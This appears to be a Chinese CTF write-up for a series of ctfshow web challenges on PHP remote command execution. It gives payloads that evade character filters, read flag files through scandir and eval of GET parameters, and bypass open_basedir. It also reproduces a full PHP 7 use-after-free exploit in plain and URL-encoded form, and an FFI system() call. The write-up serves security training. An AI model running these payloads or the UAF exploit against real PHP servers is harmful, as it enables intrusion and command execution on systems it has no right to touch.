web29
web30
web31
web32
web33
web34
web35
web36
web37
web38
web39
web40
web41
web42
web43
web44
web45
web46
web47
web48
web49
web50
web51
web52
web53
web54
web55
web56
web57
web58
web59
web60
web61-63
web64
web65
web66-67
web68
web69-70
web71
web72
web73
web74
web75
web76
web77
web118
web119
web120
web121
web122
web124
利用上述结论可以构造如下payload:
print_r(scandir(pos(localeconv()))); //查看点号(也就是当前目录下的文件)
如上图看到有flag.php文件,处于倒数第二个位置
在补充如下知识点
array_reverse() 函数以相反的元素顺序返回数组next() 函数将内部指针指向数组中的下一个元素,并输出。highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。同时整个文件也会显示出来//构造如下payload:
highlight_file(next(array_reverse((scandir(pos(localeconv()))))));
//上述先用第一个函数将数组元素顺序颠倒,随后用next函数,将指针指向flag的位置,最终用高亮显示,将了flag文件回显或者
#pos()与current()作用相同 readfile()与作用相同highlight_file()
?c=readfile(next(array_reverse(scandir(current(localeconv())))));#show_source()与作用相同highlight_file()
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
还有第二个方法:详情可看上文中链接文章
首先get_defined_vars()
函数可以回显全局变量,我们配合利用var_dump返回全局变量数组内容
如上图我们可以利用get传参,写入我们的命令,首先要方法取出其中的参数
利用pos返回当前元素的值
在通过end函数使指针指向数组中的最后一个单元,并返回该单元的值,在此之前先通过get传入一个参数数据
再用end函数
接着在sky写入读取flag的命令
最终payload为:
?c=eval(end(current(get_defined_vars())));&sky=system('cat flag.php');
?c=nl${IFS}/fl''ag||
//但这里注意flag在根目录下,并不在flag.php
这里注意cat flag.php下面一行不为空,即紧跟着下面的一行数字(否则不能回显,但我不知道为啥).
$(())是0$((~$(())))是-1$(($((~$(())))$((~$(())))))是-2这里要构造36,也就是要先构造出-37 然后取反-37是37个$((~$(())))相加最终payload
?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
那么我们可以注册一个包含flag.php的变量
payload如下:
c=include('flag.php');var_dump(get_defined_vars());c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');
尝试直接include包含
c=include('/flag.txt');
我们可以尝试通过glob伪协议绕过绕过open_basedir限制
payload
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
利用群主提供的uaf脚本绕过open_basedir进行命令执行来包含flag0.txt
原始脚本:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
// 只需提交函数内容 记得url编码
<?php
function ctfshow($cmd)
{
global $abc, $helper, $backtrace; class Vuln
{
public $a; public function __destruct()
{
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if (!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
} class Helper
{
public $a, $b, $c, $d;
} function str2ptr(&$str, $p = 0, $s = 8)
{
$address = 0;
for ($j = $s - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
} function ptr2str($ptr, $m = 8)
{
$out = "";
for ($i = 0; $i < $m; $i++) {
$out .= sprintf("%c", ($ptr & 0xff));
$ptr >>= 8;
}
return $out;
} function write(&$str, $p, $v, $n = 8)
{
$i = 0;
for ($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c", ($v & 0xff));
$v >>= 8;
}
} function leak($addr, $p = 0, $s = 8)
{
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if ($s != 8) {
$leak %= 2 << ($s * 8) - 1;
}
return $leak;
} function parse_elf($base)
{
$e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2); for ($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28); if ($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if ($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
} if (!$data_addr || !$text_size || !$data_size)
return false; return [$data_addr, $text_size, $data_size];
} function get_basic_funcs($base, $elf)
{
list($data_addr, $text_size, $data_size) = $elf;
for ($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak); if ($deref != 0x746e6174736e6f63)
continue;
} else continue; $leak = leak($data_addr, ($i + 4) * 8);
if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak); if ($deref != 0x786568326e6962)
continue;
} else continue; return $data_addr + $i * 8;
}
} function get_binary_base($binary_leak)
{
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for ($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if ($leak == 0x10102464c457f) {
return $addr;
}
}
} function get_system($basic_funcs)
{
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6); if ($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while ($f_entry != 0);
return false;
} function trigger_uaf($arg)
{ $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
} if (stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
} $n_alloc = 10;
$contiguous = [];
for ($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x');
$abc = $backtrace[1]['args'][0]; $helper = new Helper;
$helper->b = function ($x) {
}; if (strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
} $closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2);
write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8);
if (!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
} if (!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
} if (!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
} if (!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for ($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
} write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);
exit();
}ctfshow("cat /flag0.txt");
ob_end_flush();
?>
# payload
c=function%20ctfshow(%24cmd)%0A%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%0A%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for%20(%24j%20%3D%20%24s%20-%201%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%20%2B%20%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C%20(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C%20(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if%20(%24s%20!%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if%20(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if%20(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while%20(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%0A%20%20%20%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%0A%20%20%20%20%7D%3B%0A%0A%20%20%20%20if%20(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if%20(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3B%0Aob_end_flush()%3B
但这玩意儿仅限 unix,因此我没成功回显,这里payload是抄的.....
包含试试
c=include('flagc.txt');exit();
题目提示环境为PHP7.4,这道题是利用FFI拓展,payload如下
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();
传入payload之后访问flag.txt即可
┌──(root💀kali)-[~]
└─# echo ${PWD}
/root
┌──(root💀kali)-[~]
└─# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/ #从结尾开始往前的第一个字符:从下标零对应的字符,然后往后读一个字符
比如echo ${PWD:~2:2} 输出oo
┌──(root💀kali)-[~]
└─# echo ${PWD:~0:1}
t
┌──(root💀kali)-[~]
└─# echo ${PWD:~0}
t
┌──(root💀kali)-[~]
└─# echo ${PWD:~A} #所以字母和0具有同样作用
t
┌──(root💀kali)-[~]
└─# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
┌──(root💀kali)-[~]
└─# echo ${PATH:~A}
n
┌──(root💀kali)-[~]
└─# ls
Desktop Documents Downloads flag.txt Music Pictures Public Templates Videos
┌──(root💀kali)-[~]
└─# ${PATH:~A}l flag.txt
1 flag{test}
${PWD} 返回工作目录(你当前所在的目录)可以使用切片取得返回的字母 例:${PWD:0:1}同时可以利用取反号~取变量的后几位 例:${PWD:~0}0也可以用字母代替 例:${PWD:~A} 返回结果和 ${PWD:~0}相同${PATH} 通常是bin$IFS 内部域分隔符 默认为空白(空格, 制表符,和换行符)
payload如下:
${PATH:~A}${PWD:~A}$IFS????.??? #nl flag.php//其他
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
一般给的权限都是www-data,所以我们用${USER}
可以获得“www-data”,而我们要取到at的话需要${USER:~2:2}
,但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION
payload1如下:
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
# pwd=/var/www/html
# ${#}是0,${SHLVL}为1
# USER=www-data
# payload即为 /???/?at ????.??? 即/bin/cat flag.php
payload2:
PHP_CFLAGS=-fstack-protector-strong # 通过前面的题配置文件获得获得PHP_VERSION=7.3.22 # php版本SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???# PHP_CFLAGS=PHP_CFLAGS=-fstack-protector-strong
# PHP_VERSION=7.3.22
# ${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}是3
# tac flag.txt
这里思考了一下,为何?这个通配符在上述构造payload时,不能将全部字母替换为?;因为虽然?代表任意字符,但如果你输入???,那么他回显的结果可能会很多,因此系统不知道你认定的是哪个,于是不会成功执行,倘若你在前面加一个c??,那么根据他就会在系统内识别为cat这样就能成功执行(说的有点混乱,大体意思还行).
发表评论 取消回复